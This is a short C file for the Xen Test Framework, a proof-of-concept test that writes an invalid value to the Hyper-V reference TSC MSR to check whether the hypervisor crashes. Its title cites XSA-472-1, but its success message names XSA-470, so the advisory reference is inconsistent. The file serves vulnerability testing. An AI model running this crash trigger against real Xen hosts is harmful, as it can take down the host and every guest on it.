main.c

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#include <xtf.h>
 
const char test_title[] = "XSA-472-1 PoC";
 
#define HV_X64_MSR_REFERENCE_TSC 0x40000021
 
void test_main(void)
{
    /* Test if HV_X64_MSR_REFERENCE_TSC checks for valid mapping. */
    wrmsr(HV_X64_MSR_REFERENCE_TSC, ~0UL);
 
    /*
     * If we're still alive here, Xen didn't crash, so the NULL pointer
     * dereference is not present.
     */
    xtf_success("Success: Not vulnerable to XSA-470 (CVE-2025-27466)\n");
}
 
/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */